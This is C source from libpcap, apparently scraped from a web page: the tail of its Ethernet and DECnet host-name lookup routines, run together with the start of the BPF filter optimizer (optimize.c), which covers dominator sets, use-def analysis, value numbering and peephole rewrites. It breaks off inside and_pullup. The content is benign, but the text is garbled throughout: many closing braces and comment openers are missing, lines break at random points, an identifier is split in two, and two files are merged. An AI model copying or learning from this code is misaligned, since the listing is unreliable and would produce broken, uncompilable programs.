if (*s == ':')
s
+= 1;
d = xdtoi(*s++);
if (isxdigit(*s)) {
d
<<= 4;
d |= xdtoi(*s++);
*ep++
= d;
return (e);
#ifndef
HAVE_ETHER_HOSTTON
/* Roll our own */
u_char *
pcap_ether_hostton(const
char *name)
register struct
pcap_etherent *ep;
register
u_char *ap;
static FILE *fp =
NULL;
static init = 0;
if (!init) {
fp =
fopen(PCAP_ETHERS_FILE, "r");
++init;
if (fp ==
NULL)
return (NULL);
} else if (fp == NULL)
return
(NULL);
else
rewind(fp);
while ((ep = pcap_next_etherent(fp)) !=
NULL) {
if (strcmp(ep->name, name) == 0) {
ap
= (u_char *)malloc(6);
if (ap != NULL) {
memcpy(ap, ep->addr, 6);
return (ap);
}
break;
return (NULL);
#else
#ifndef
sgi
extern int ether_hostton(char *, struct ether_addr *);
#endif
/*
Use the os supplied routines */
u_char *
pcap_ether_hostton(const
char *name)
register u_char
*ap;
u_char a[6];
ap = NULL;
if (ether_hostton((char *)name, (struct ether_addr *)a) == 0)
{
ap = (u_char *)malloc(6);
if (ap != NULL)
memcpy((char
*)ap, (char *)a, 6);
return
(ap);
#endif
u_short
__pcap_nametodnaddr(const char *name)
#ifdef DECNETLIB
struct nodeent *getnodebyname();
struct nodeent *nep;
unsigned
short res;
nep =
getnodebyname(name);
if (nep ==
((struct nodeent *)0))
bpf_error("unknown decnet host name
'%s'\n", name);
memcpy((char
*)&res, (char *)nep->n_addr, sizeof(unsigned short));
return(res);
#else
bpf_error("decnet name support not
included, '%s' cannot be translated\n",
name);
#endif
* Copyright (c) 1988, 1989, 1990, 1991, 1993,
1994, 1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* Optimization module for tcpdump intermediate
representation.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: optimize.c,v 1.60
96/09/26 23:28:14 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<memory.h>
#include "pcap-int.h"
#include
"gencode.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifdef
BDEBUG
extern int dflag;
#endif
#define A_ATOM
BPF_MEMWORDS
#define X_ATOM (BPF_MEMWORDS+1)
#define NOP -1
* This define is used to represent *both* the
accumulator and
* x register in
use-def computations.
* Currently,
the use-def code assumes only one definition per instruction.
#define
AX_ATOM N_ATOMS
* A flag to
indicate that further optimization is needed.
* Iterative passes are continued until a given pass yields
no
* branch movement.
static
int done;
* A block is marked if
only if its mark equals the current mark.
* Rather than traverse the code array, marking each item,
'cur_mark' is
* incremented. This automatically makes each element unmarked.
static
int cur_mark;
#define isMarked(p) ((p)->mark == cur_mark)
#define
unMarkAll() cur_mark += 1
#define Mark(p) ((p)->mark = cur_mark)
static
void opt_init(struct block *);
static void opt_cleanup(void);
static
void make_marks(struct block *);
static void mark_code(struct block
*);
static void intern_blocks(struct block *);
static int
eq_slist(struct slist *, struct slist *);
static void find_levels_r(struct
block *);
static void find_levels(struct block *);
static void
find_dom(struct block *);
static void propedom(struct edge *);
static
void find_edom(struct block *);
static void find_closure(struct block
*);
static int atomuse(struct stmt *);
static int atomdef(struct stmt
*);
static void compute_local_ud(struct block *);
static void
find_ud(struct block *);
static void init_val(void);
static int
F(int, int, int);
static inline void vstore(struct stmt *, int *, int,
int);
static void opt_blk(struct block *, int);
static int
use_conflict(struct block *, struct block *);
static void opt_j(struct
edge *);
static void or_pullup(struct block *);
static void
and_pullup(struct block *);
static void opt_blks(struct block *,
int);
static inline void link_inedge(struct edge *, struct block *);
static
void find_inedges(struct block *);
static void opt_root(struct block
**);
static void opt_loop(struct block *, int);
static void
fold_op(struct stmt *, int, int);
static inline struct slist
*this_op(struct slist *);
static void opt_not(struct block *);
static
void opt_peep(struct block *);
static void opt_stmt(struct stmt *, int[],
int);
static void deadstmt(struct stmt *, struct stmt *[]);
static
void opt_deadstores(struct block *);
static void opt_blk(struct block *,
int);
static int use_conflict(struct block *, struct block *);
static
void opt_j(struct edge *);
static struct block *fold_edge(struct block *,
struct edge *);
static inline int eq_blk(struct block *, struct block
*);
static int slength(struct slist *);
static int
count_blocks(struct block *);
static void number_blks_r(struct block
*);
static int count_stmts(struct block *);
static int
convert_code_r(struct block *);
#ifdef BDEBUG
static void
opt_dump(struct block *);
#endif
static int n_blocks;
struct
block **blocks;
static int n_edges;
struct edge **edges;
* A bit vector set representation of the
dominators.
* We round up the set
size to the next power of two.
static int nodewords;
static int
edgewords;
struct block **levels;
bpf_u_int32 *space;
#define
BITS_PER_WORD (8*sizeof(bpf_u_int32))
* True if a is in uset {p}
#define SET_MEMBER(p, a) \
((p)[(unsigned)(a)
/ BITS_PER_WORD] & (1 << ((unsigned)(a) % BITS_PER_WORD)))
* Add 'a' to uset p.
#define
SET_INSERT(p, a) \
(p)[(unsigned)(a) / BITS_PER_WORD] |= (1 <<
((unsigned)(a) % BITS_PER_WORD))
*
Delete 'a' from uset p.
#define SET_DELETE(p, a) \
(p)[(unsigned)(a)
/ BITS_PER_WORD] &= ~(1 << ((unsigned)(a) % BITS_PER_WORD))
* a := a intersect b
#define
SET_INTERSECT(a, b, n)\
register
bpf_u_int32 *_x = a, *_y = b;\
register
int _n = n;\
while (--_n >=
0) *_x++ &= *_y++;\
* a := a -
b
#define SET_SUBTRACT(a, b, n)\
register
bpf_u_int32 *_x = a, *_y = b;\
register
int _n = n;\
while (--_n >=
0) *_x++ &=~ *_y++;\
* a := a
union b
#define SET_UNION(a, b, n)\
register
bpf_u_int32 *_x = a, *_y = b;\
register
int _n = n;\
while (--_n >=
0) *_x++ |= *_y++;\
static uset all_dom_sets;
static uset
all_closure_sets;
static uset all_edge_sets;
#ifndef MAX
#define
MAX(a,b) ((a)>(b)?(a):(b))
#endif
static void
find_levels_r(b)
struct block *b;
int level;
if (isMarked(b))
return;
Mark(b);
b->link
= 0;
if (JT(b)) {
find_levels_r(JT(b));
find_levels_r(JF(b));
level
= MAX(JT(b)->level, JF(b)->level) + 1;
} else
level = 0;
b->level = level;
b->link
= levels[level];
levels[level]
= b;
* Level graph. The levels go from 0 at the leaves to
* N_LEVELS at the root. The levels[] array points to the
* first node of the level list, whose
elements are linked
* with the
'link' field of the struct block.
static void
find_levels(root)
struct block *root;
memset((char *)levels, 0, n_blocks * sizeof(*levels));
unMarkAll();
find_levels_r(root);
* Find dominator relationships.
* Assumes graph has been leveled.
static void
find_dom(root)
struct block *root;
int i;
struct block *b;
bpf_u_int32
*x;
* Initialize sets to contain all nodes.
*/
x = all_dom_sets;
i = n_blocks * nodewords;
while (--i >= 0)
*x++
= ~0;
/* Root starts off empty.
*/
for (i = nodewords; --i
>= 0;)
root->dom[i] = 0;
/* root->level is the highest level no
found. */
for (i =
root->level; i >= 0; --i) {
for (b = levels[i]; b; b = b->link)
{
SET_INSERT(b->dom, b->id);
if (JT(b) ==
0)
continue;
SET_INTERSECT(JT(b)->dom,
b->dom, nodewords);
SET_INTERSECT(JF(b)->dom, b->dom,
nodewords);
static void
propedom(ep)
struct edge *ep;
SET_INSERT(ep->edom,
ep->id);
if (ep->succ)
{
SET_INTERSECT(ep->succ->et.edom, ep->edom,
edgewords);
SET_INTERSECT(ep->succ->ef.edom,
ep->edom, edgewords);
* Compute
edge dominators.
* Assumes graph
has been leveled and predecessors established.
static void
find_edom(root)
struct block *root;
int i;
uset x;
struct
block *b;
x =
all_edge_sets;
for (i = n_edges
* edgewords; --i >= 0; )
x[i] = ~0;
/* root->level is the highest level no found. */
memset(root->et.edom, 0, edgewords *
sizeof(*(uset)0));
memset(root->ef.edom,
0, edgewords * sizeof(*(uset)0));
for
(i = root->level; i >= 0; --i) {
for (b = levels[i]; b != 0; b =
b->link) {
propedom(&b->et);
propedom(&b->ef);
* Find the backwards transitive closure of
the flow graph. These sets
* are backwards in the sense that we find the
set of nodes that reach
* a given
node, not the set of nodes that can be reached by a node.
* Assumes graph has been leveled.
static
void
find_closure(root)
struct
block *root;
int i;
struct block *b;
*
Initialize sets to contain no nodes.
*/
memset((char
*)all_closure_sets, 0,
n_blocks * nodewords *
sizeof(*all_closure_sets));
/*
root->level is the highest level no found. */
for (i = root->level; i >= 0; --i) {
for
(b = levels[i]; b; b = b->link) {
SET_INSERT(b->closure, b->id);
if
(JT(b) == 0)
continue;
SET_UNION(JT(b)->closure,
b->closure, nodewords);
SET_UNION(JF(b)->closure,
b->closure, nodewords);
*
Return the register number that is used by s.
If A and X are both
* used,
return AX_ATOM. If no register is used,
return -1.
* The implementation
should probably change to an array access.
static int
atomuse(s)
struct stmt *s;
register int c = s->code;
if (c == NOP)
return -1;
switch (BPF_CLASS(c)) {
case BPF_RET:
return (BPF_RVAL(c)
== BPF_A) ? A_ATOM :
(BPF_RVAL(c) == BPF_X) ? X_ATOM :
-1;
case BPF_LD:
case BPF_LDX:
return (BPF_MODE(c)
== BPF_IND) ? X_ATOM :
(BPF_MODE(c) == BPF_MEM) ? s->k :
-1;
case BPF_ST:
return
A_ATOM;
case BPF_STX:
return
X_ATOM;
case BPF_JMP:
case BPF_ALU:
if (BPF_SRC(c) ==
BPF_X)
return AX_ATOM;
return
A_ATOM;
case BPF_MISC:
return
BPF_MISCOP(c) == BPF_TXA ? X_ATOM : A_ATOM;
abort();
/*
NOTREACHED */
* Return the
register number that is defined by 's'.
We assume that
* a single
stmt cannot define more than one register.
If no register
* is
defined, return -1.
* The
implementation should probably change to an array access.
static int
atomdef(s)
struct stmt *s;
if (s->code == NOP)
return
-1;
switch (BPF_CLASS(s->code))
{
case BPF_LD:
case BPF_ALU:
return A_ATOM;
case BPF_LDX:
return X_ATOM;
case BPF_ST:
case BPF_STX:
return s->k;
case BPF_MISC:
return
BPF_MISCOP(s->code) == BPF_TAX ? X_ATOM : A_ATOM;
return -1;
static void
compute_local_ud(b)
struct block *b;
struct slist *s;
atomset def = 0, use = 0, kill = 0;
int atom;
for (s = b->stmts; s; s = s->next) {
if
(s->s.code == NOP)
continue;
atom =
atomuse(&s->s);
if (atom >= 0) {
if
(atom == AX_ATOM) {
if
(!ATOMELEM(def, X_ATOM))
use |= ATOMMASK(X_ATOM);
if (!ATOMELEM(def, A_ATOM))
use |= ATOMMASK(A_ATOM);
}
else
if (atom < N_ATOMS) {
if
(!ATOMELEM(def, atom))
use
|= ATOMMASK(atom);
}
else
abort();
atom
= atomdef(&s->s);
if (atom >= 0) {
if
(!ATOMELEM(use, atom))
kill
|= ATOMMASK(atom);
def |= ATOMMASK(atom);
if (!ATOMELEM(def, A_ATOM) &&
BPF_CLASS(b->s.code) == BPF_JMP)
use |= ATOMMASK(A_ATOM);
b->def = def;
b->kill = kill;
b->in_use = use;
* Assume graph is already leveled.
static
void
find_ud(root)
struct
block *root;
int i,
maxlevel;
struct block
*p;
* root->level is the highest level no found;
*
count down from there.
*/
maxlevel
= root->level;
for (i =
maxlevel; i >= 0; --i)
for (p = levels[i]; p; p = p->link)
{
compute_local_ud(p);
p->out_use = 0;
for (i = 1; i <= maxlevel; ++i) {
for
(p = levels[i]; p; p = p->link) {
p->out_use |= JT(p)->in_use |
JF(p)->in_use;
p->in_use |= p->out_use &~
p->kill;
* These data
structures are used in a Cocke and Shwarz style
* value numbering scheme.
Since the flowgraph is acyclic,
* exit values can be propagated from a node's predecessors
* provided it is uniquely defined.
struct
valnode {
int code;
int v0, v1;
int val;
struct
valnode *next;
#define MODULUS 213
static struct valnode
*hashtbl[MODULUS];
static int curval;
static int maxval;
/*
Integer constants mapped with the load immediate opcode. */
#define K(i)
F(BPF_LD|BPF_IMM|BPF_W, i, 0L)
struct vmapinfo {
int is_const;
bpf_int32 const_val;
struct vmapinfo *vmap;
struct
valnode *vnode_base;
struct valnode *next_vnode;
static void
init_val()
curval = 0;
next_vnode = vnode_base;
memset((char
*)vmap, 0, maxval * sizeof(*vmap));
memset((char
*)has
htbl, 0, sizeof hashtbl);
/* Because we really don't have an
IR, this stuff is a little messy. */
static int
F(code, v0, v1)
int code;
int v0, v1;
u_int
hash;
int val;
struct valnode *p;
hash = (u_int)code ^ (v0 << 4) ^ (v1
<< 8);
hash %=
MODULUS;
for (p =
hashtbl[hash]; p; p = p->next)
if (p->code == code && p->v0
== v0 && p->v1 == v1)
return p->val;
val = ++curval;
if (BPF_MODE(code) == BPF_IMM
&&
(BPF_CLASS(code) == BPF_LD ||
BPF_CLASS(code) == BPF_LDX)) {
vmap[val].const_val = v0;
vmap[val].is_const
= 1;
p = next_vnode++;
p->val = val;
p->code = code;
p->v0 = v0;
p->v1 = v1;
p->next = hashtbl[hash];
hashtbl[hash] = p;
return val;
static inline void
vstore(s,
valp, newval, alter)
struct
stmt *s;
int *valp;
int newval;
int alter;
if
(alter && *valp == newval)
s->code = NOP;
else
*valp = newval;
static void
fold_op(s,
v0, v1)
struct stmt *s;
int v0, v1;
bpf_int32 a, b;
a
= vmap[v0].const_val;
b =
vmap[v1].const_val;
switch
(BPF_OP(s->code)) {
case
BPF_ADD:
a += b;
break;
case BPF_SUB:
a -= b;
break;
case BPF_MUL:
a *= b;
break;
case BPF_DIV:
if (b == 0)
bpf_error("division
by zero");
a /= b;
break;
case BPF_AND:
a &= b;
break;
case BPF_OR:
a |= b;
break;
case BPF_LSH:
a <<= b;
break;
case BPF_RSH:
a >>= b;
break;
case BPF_NEG:
a = -a;
break;
default:
abort();
s->k = a;
s->code = BPF_LD|BPF_IMM;
done = 0;
static inline struct slist *
this_op(s)
struct slist *s;
while (s != 0 && s->s.code ==
NOP)
s = s->next;
return
s;
static void
opt_not(b)
struct
block *b;
struct block *tmp =
JT(b);
JT(b) = JF(b);
JF(b) = tmp;
static void
opt_peep(b)
struct block *b;
struct slist *s;
struct slist *next, *last;
int val;
s = b->stmts;
if
(s == 0)
return;
last = s;
while
(1) {
s = this_op(s);
if (s == 0)
break;
next
= this_op(s->next);
if (next == 0)
break;
last
= next;
/*
* st
M[k] --> st
M[k]
* ldx M[k] tax
*/
if (s->s.code == BPF_ST
&&
next->s.code == (BPF_LDX|BPF_MEM)
&&
s->s.k == next->s.k) {
done
= 0;
next->s.code = BPF_MISC|BPF_TAX;
/*
* ld #k --> ldx #k
* tax txa
*/
if (s->s.code == (BPF_LD|BPF_IMM)
&&
next->s.code == (BPF_MISC|BPF_TAX))
{
s->s.code = BPF_LDX|BPF_IMM;
next->s.code
= BPF_MISC|BPF_TXA;
done = 0;
/*
* This is an ugly special case, but it happens
* when you say tcp[k] or udp[k] where k is a constant.
*/
if (s->s.code == (BPF_LD|BPF_IMM))
{
struct slist *add, *tax, *ild;
/*
* Check that X isn't used on exit from
this
*
block (which the optimizer might cause).
*
We know the code generator won't generate
*
any local dependencies.
*/
if (ATOMELEM(b->out_use, X_ATOM))
break;
if
(next->s.code != (BPF_LDX|BPF_MSH|BPF_B))
add = next;
else
add = this_op(next->next);
if
(add == 0 || add->s.code != (BPF_ALU|BPF_ADD|BPF_X))
break;
tax =
this_op(add->next);
if (tax == 0 || tax->s.code !=
(BPF_MISC|BPF_TAX))
break;
ild
= this_op(tax->next);
if (ild == 0 || BPF_CLASS(ild->s.code)
!= BPF_LD ||
BPF_MODE(ild->s.code) != BPF_IND)
break;
/*
* XXX We need to check that X is not
* subsequently used. We know we can eliminate the
* accumulator modifications since it is
defined
*
by the last stmt of this sequence.
*
*
We want to turn this sequence:
*
*
(004) ldi #0x2 {s}
* (005) ldxms [14] {next}
-- optional
*
(006) addx {add}
* (007) tax {tax}
* (008) ild [x+0] {ild}
*
*
into this sequence:
*
*
(004) nop
* (005)
ldxms [14]
* (006) nop
* (007) nop
* (008) ild [x+2]
*
*/
ild->s.k += s->s.k;
s->s.code
= NOP;
add->s.code = NOP;
tax->s.code
= NOP;
done = 0;
s = next;
*
If we have a subtract to do a comparison, and the X register
*
is a known constant, we can merge this value into the
*
comparison.
*/
if
(last->s.code == (BPF_ALU|BPF_SUB|BPF_X) &&
!ATOMELEM(b->out_use, A_ATOM)) {
val =
b->val[X_ATOM];
if (vmap[val].is_const) {
int
op;
b->s.k += vmap[val].const_val;
op
= BPF_OP(b->s.code);
if (op == BPF_JGT || op == BPF_JGE)
{
struct block *t =
JT(b);
JT(b)
= JF(b);
JF(b)
= t;
b->s.k
+= 0x80000000;
}
last->s.code = NOP;
done
= 0;
} else if (b->s.k == 0) {
/*
* sub x
-> nop
* j
#0 j x
*/
last->s.code = NOP;
b->s.code
= BPF_CLASS(b->s.code) | BPF_OP(b->s.code) |
BPF_X;
done =
0;
* Likewise, a constant subtract can be simplified.
*/
else if
(last->s.code == (BPF_ALU|BPF_SUB|BPF_K) &&
!ATOMELEM(b->out_use, A_ATOM)) {
int op;
b->s.k
+= last->s.k;
last->s.code = NOP;
op
= BPF_OP(b->s.code);
if (op == BPF_JGT || op == BPF_JGE)
{
struct block *t = JT(b);
JT(b) = JF(b);
JF(b)
= t;
b->s.k += 0x80000000;
done
= 0;
* and #k nop
*
jeq #0 -> jset #k
*/
if
(last->s.code == (BPF_ALU|BPF_AND|BPF_K) &&
!ATOMELEM(b->out_use, A_ATOM) && b->s.k == 0) {
b->s.k
= last->s.k;
b->s.code =
BPF_JMP|BPF_K|BPF_JSET;
last->s.code = NOP;
done
= 0;
opt_not(b);
* If the accumulator is a known constant, we
can compute the
* comparison result.
*/
val =
b->val[A_ATOM];
if
(vmap[val].is_const && BPF_SRC(b->s.code) == BPF_K) {
bpf_int32
v = vmap[val].const_val;
switch (BPF_OP(b->s.code)) {
case
BPF_JEQ:
v = v == b->s.k;
break;
case
BPF_JGT:
v = (unsigned)v > b->s.k;
break;
case
BPF_JGE:
v = (unsigned)v >= b->s.k;
break;
case
BPF_JSET:
v &= b->s.k;
break;
default:
abort();
if
(JF(b) != JT(b))
done = 0;
if (v)
JF(b)
= JT(b);
else
JT(b) = JF(b);
* Compute the symbolic value of expression of
's', and update
* anything it
defines in the value table 'val'. If
'alter' is true,
* do various
optimizations. This code would be
cleaner if symbolic
* evaluation
and code transformations weren't folded together.
static void
opt_stmt(s,
val, alter)
struct stmt
*s;
int val[];
int alter;
int op;
int
v;
switch (s->code) {
case BPF_LD|BPF_ABS|BPF_W:
case BPF_LD|BPF_ABS|BPF_H:
case BPF_LD|BPF_ABS|BPF_B:
v
= F(s->code, s->k, 0L);
vstore(s, &val[A_ATOM], v,
alter);
break;
case
BPF_LD|BPF_IND|BPF_W:
case
BPF_LD|BPF_IND|BPF_H:
case
BPF_LD|BPF_IND|BPF_B:
v = val[X_ATOM];
if
(alter && vmap[v].is_const) {
s->code =
BPF_LD|BPF_ABS|BPF_SIZE(s->code);
s->k += vmap[v].const_val;
v
= F(s->code, s->k, 0L);
done = 0;
else
v
= F(s->code, s->k, v);
vstore(s, &val[A_ATOM], v,
alter);
break;
case
BPF_LD|BPF_LEN:
v = F(s->code, 0L, 0L);
vstore(s,
&val[A_ATOM], v, alter);
break;
case BPF_LD|BPF_IMM:
v = K(s->k);
vstore(s,
&val[A_ATOM], v, alter);
break;
case BPF_LDX|BPF_IMM:
v = K(s->k);
vstore(s,
&val[X_ATOM], v, alter);
break;
case BPF_LDX|BPF_MSH|BPF_B:
v = F(s->code,
s->k, 0L);
vstore(s, &val[X_ATOM], v,
alter);
break;
case
BPF_ALU|BPF_NEG:
if (alter &&
vmap[val[A_ATOM]].is_const) {
s->code = BPF_LD|BPF_IMM;
s->k
= -vmap[val[A_ATOM]].const_val;
val[A_ATOM] = K(s->k);
else
val[A_ATOM]
= F(s->code, val[A_ATOM], 0L);
break;
case BPF_ALU|BPF_ADD|BPF_K:
case BPF_ALU|BPF_SUB|BPF_K:
case BPF_ALU|BPF_MUL|BPF_K:
case BPF_ALU|BPF_DIV|BPF_K:
case BPF_ALU|BPF_AND|BPF_K:
case BPF_ALU|BPF_OR|BPF_K:
case BPF_ALU|BPF_LSH|BPF_K:
case BPF_ALU|BPF_RSH|BPF_K:
op =
BPF_OP(s->code);
if (alter) {
if (s->k ==
0) {
if
(op == BPF_ADD || op == BPF_SUB ||
op == BPF_LSH || op == BPF_RSH ||
op == BPF_OR) {
s->code
= NOP;
break;
}
if
(op == BPF_MUL || op == BPF_AND) {
s->code
= BPF_LD|BPF_IMM;
val[A_ATOM]
= K(s->k);
break;
}
}
if (vmap[val[A_ATOM]].is_const) {
fold_op(s, val[A_ATOM], K(s->k));
val[A_ATOM] = K(s->k);
break;
}
val[A_ATOM]
= F(s->code, val[A_ATOM], K(s->k));
break;
case BPF_ALU|BPF_ADD|BPF_X:
case BPF_ALU|BPF_SUB|BPF_X:
case BPF_ALU|BPF_MUL|BPF_X:
case BPF_ALU|BPF_DIV|BPF_X:
case BPF_ALU|BPF_AND|BPF_X:
case BPF_ALU|BPF_OR|BPF_X:
case BPF_ALU|BPF_LSH|BPF_X:
case BPF_ALU|BPF_RSH|BPF_X:
op =
BPF_OP(s->code);
if (alter &&
vmap[val[X_ATOM]].is_const) {
if (vmap[val[A_ATOM]].is_const) {
fold_op(s, val[A_ATOM],
val[X_ATOM]);
val[A_ATOM]
= K(s->k);
}
else {
s->code = BPF_ALU|BPF_K|op;
s->k =
vmap[val[X_ATOM]].const_val;
done
= 0;
val[A_ATOM]
=
F(s->code,
val[A_ATOM], K(s->k));
}
break;
/*
* Check if we're doing something to an
accumulator
* that is 0, and simplify. This may not seem like
* much of a simplification but it could open up further
* optimizations.
* XXX We could also check for mul by 1, and
-1, etc.
*/
if (alter &&
vmap[val[A_ATOM]].is_const
&& vmap[val[A_ATOM]].const_val ==
0) {
if (op == BPF_ADD || op == BPF_OR ||
op == BPF_LSH || op == BPF_RSH || op ==
BPF_SUB) {
s->code
= BPF_MISC|BPF_TXA;
vstore(s,
&val[A_ATOM], val[X_ATOM], alter);
break;
}
else
if (op == BPF_MUL || op == BPF_DIV ||
op == BPF_AND) {
s->code
= BPF_LD|BPF_IMM;
s->k
= 0;
vstore(s,
&val[A_ATOM], K(s->k), alter);
break;
}
else
if (op == BPF_NEG) {
s->code
= NOP;
break;
}
val[A_ATOM]
= F(s->code, val[A_ATOM], val[X_ATOM]);
break;
case BPF_MISC|BPF_TXA:
vstore(s,
&val[A_ATOM], val[X_ATOM], alter);
break;
case BPF_LD|BPF_MEM:
v = val[s->k];
if
(alter && vmap[v].is_const) {
s->code = BPF_LD|BPF_IMM;
s->k
= vmap[v].const_val;
done = 0;
vstore(s,
&val[A_ATOM], v, alter);
break;
case BPF_MISC|BPF_TAX:
vstore(s, &val[X_ATOM], val[A_ATOM],
alter);
break;
case
BPF_LDX|BPF_MEM:
v = val[s->k];
if
(alter && vmap[v].is_const) {
s->code = BPF_LDX|BPF_IMM;
s->k
= vmap[v].const_val;
done = 0;
vstore(s,
&val[X_ATOM], v, alter);
break;
case BPF_ST:
vstore(s, &val[s->k], val[A_ATOM],
alter);
break;
case
BPF_STX:
vstore(s, &val[s->k], val[X_ATOM],
alter);
break;
static void
deadstmt(s, last)
register struct stmt *s;
register struct stmt *last[];
register int atom;
atom = atomuse(s);
if (atom >= 0) {
if
(atom == AX_ATOM) {
last[X_ATOM] = 0;
last[A_ATOM]
= 0;
else
last[atom] = 0;
atom = atomdef(s);
if (atom >= 0) {
if
(last[atom]) {
done = 0;
last[atom]->code
= NOP;
last[atom] = s;
static void
opt_deadstores(b)
register struct block *b;
register struct slist *s;
register int atom;
struct stmt *last[N_ATOMS];
memset((char *)last, 0, sizeof
last);
for (s = b->stmts; s
!= 0; s = s->next)
deadstmt(&s->s, last);
deadstmt(&b->s, last);
for (atom = 0; atom < N_ATOMS;
++atom)
if (last[atom] && !ATOMELEM(b->out_use, atom))
{
last[atom]->code = NOP;
done =
0;
static void
opt_blk(b, do_stmts)
struct block *b;
int
do_stmts;
struct slist
*s;
struct edge *p;
int i;
bpf_int32 aval;
* Initialize the atom values.
*
If we have no predecessors, everything is undefined.
*
Otherwise, we inherent our values from our predecessors.
*
If any register has an ambiguous value (i.e. control paths are
*
merging) give it the undefined value of 0.
*/
p = b->in_edges;
if (p == 0)
memset((char
*)b->val, 0, sizeof(b->val));
else
{
memcpy((char *)b->val, (char *)p->pred->val,
sizeof(b->val));
while ((p = p->next) != NULL) {
for
(i = 0; i < N_ATOMS; ++i)
if
(b->val[i] != p->pred->val[i])
b->val[i]
= 0;
aval =
b->val[A_ATOM];
for (s =
b->stmts; s; s = s->next)
opt_stmt(&s->s, b->val,
do_stmts);
* This is a special case: if we don't use
anything from this
* block, and we load the accumulator with
value that is
* already there, or if this block is a
return,
* eliminate all the statements.
*/
if (do_stmts
&&
((b->out_use == 0 && aval != 0
&&b->val[A_ATOM] == aval) ||
BPF_CLASS(b->s.code) == BPF_RET))
{
if (b->stmts != 0) {
b->stmts = 0;
done
= 0;
} else {
opt_peep(b);
opt_deadstores(b);
*
Set up values for branch optimizer.
*/
if
(BPF_SRC(b->s.code) == BPF_K)
b->oval = K(b->s.k);
else
b->oval = b->val[X_ATOM];
b->et.code = b->s.code;
b->ef.code = -b->s.code;
* Return true if any register that is used on
exit from 'succ', has
* an exit
value that is different from the corresponding exit value
* from 'b'.
static int
use_conflict(b,
succ)
struct block *b,
*succ;
int atom;
atomset use = succ->out_use;
if (use == 0)
return 0;
for (atom = 0; atom < N_ATOMS;
++atom)
if (ATOMELEM(use, atom))
if (b->val[atom] !=
succ->val[atom])
return
1;
return 0;
static struct
block *
fold_edge(child, ep)
struct
block *child;
struct edge
*ep;
int sense;
int aval0, aval1, oval0, oval1;
int code = ep->code;
if (code < 0) {
code
= -code;
sense = 0;
} else
sense = 1;
if (child->s.code != code)
return 0;
aval0 = child->val[A_ATOM];
oval0 = child->oval;
aval1 = ep->pred->val[A_ATOM];
oval1 = ep->pred->oval;
if (aval0 != aval1)
return
0;
if (oval0 == oval1)
/*
* The operands are identical, so the
* result is true
if a true branch was
* taken to get here, otherwise false.
*/
return sense ? JT(child) :
JF(child);
if (sense &&
code == (BPF_JMP|BPF_JEQ|BPF_K))
/*
* At this point, we only know the comparison
if we
* came down the true branch, and it was an
equality
* comparison with a constant. We rely on the fact that
* distinct constants have distinct value numbers.
*/
return JF(child);
return 0;
static void
opt_j(ep)
struct edge *ep;
register int i, k;
register struct block *target;
if (JT(ep->succ) == 0)
return;
if (JT(ep->succ) == JF(ep->succ))
{
/*
* Common branch targets can be eliminated,
provided
* there is no data dependency.
*/
if (!use_conflict(ep->pred,
ep->succ->et.succ)) {
done = 0;
ep->succ =
JT(ep->succ);
* For each edge dominator that matches the
successor of this
* edge, promote the edge successor to the its
grandchild.
* XXX We violate the set abstraction here in
favor a reasonably
* efficient loop.
*/
top:
for (i = 0; i < edgewords; ++i) {
register
bpf_u_int32 x = ep->edom[i];
while (x != 0) {
k
= ffs(x) - 1;
x &=~ (1 << k);
k
+= i * BITS_PER_WORD;
target = fold_edge(ep->succ,
edges[k]);
/*
*
Check that there is no data dependency between
* nodes that will be violated if we move the
edge.
*/
if (target != 0 && !use_conflict(ep->pred,
target)) {
done
= 0;
ep->succ
= target;
if
(JT(target) != 0)
/*
*
Start over unless we hit a leaf.
*/
goto
top;
return;
}
static
void
or_pullup(b)
struct
block *b;
int val,
at_top;
struct block
*pull;
struct block **diffp,
**samep;
struct edge *ep;
ep = b->in_edges;
if (ep == 0)
return;
*
Make sure each predecessor loads the same value.
* XXX why?
*/
val =
ep->pred->val[A_ATOM];
for
(ep = ep->next; ep != 0; ep = ep->next)
if (val != ep->pred->val[A_ATOM])
return;
if (JT(b->in_edges->pred) ==
b)
diffp = &JT(b->in_edges->pred);
else
diffp =
&JF(b->in_edges->pred);
at_top
= 1;
while (1) {
if
(*diffp == 0)
return;
if (JT(*diffp) !=
JT(b))
return;
if
(!SET_MEMBER((*diffp)->dom, b->id))
return;
if
((*diffp)->val[A_ATOM] != val)
break;
diffp =
&JF(*diffp);
at_top = 0;
samep = &JF(*diffp);
while
(1) {
if (*samep == 0)
return;
if (JT(*samep) !=
JT(b))
return;
if
(!SET_MEMBER((*samep)->dom, b->id))
return;
if
((*samep)->val[A_ATOM] == val)
break;
/* XXX Need to check
that there are no data dependencies
between dp0 and dp1. Currently, the code generator
will not produce such dependencies. */
samep =
&JF(*samep);
#ifdef notdef
/*
XXX This doesn't cover everything. */
for
(i = 0; i < N_ATOMS; ++i)
if ((*samep)->val[i] !=
pred->val[i])
return;
#endif
/* Pull up the node. */
pull = *samep;
*samep = JF(pull);
JF(pull) = *diffp;
*
At the top of the chain, each predecessor needs to point at the
*
pulled up node. Inside the chain, there
is only one predecessor
* to worry about.
*/
if (at_top)
{
for (ep = b->in_edges; ep != 0; ep = ep->next) {
if
(JT(ep->pred) == b)
JT(ep->pred)
= pull;
else
JF(ep->pred)
= pull;
else
*diffp
= pull;
done = 0;
static
void
and_pullup(b)
struct
block *b;
int val,
at_top;
struct block
*pull;
struct block **diffp,
**samep;
struct edge *ep;
ep = b->in_edges;
if (ep == 0)
return;
*
Make sure each predecessor loads the same value.
*/
val = ep->pred->val[A_ATOM];
for (ep = ep->next; ep != 0; ep =
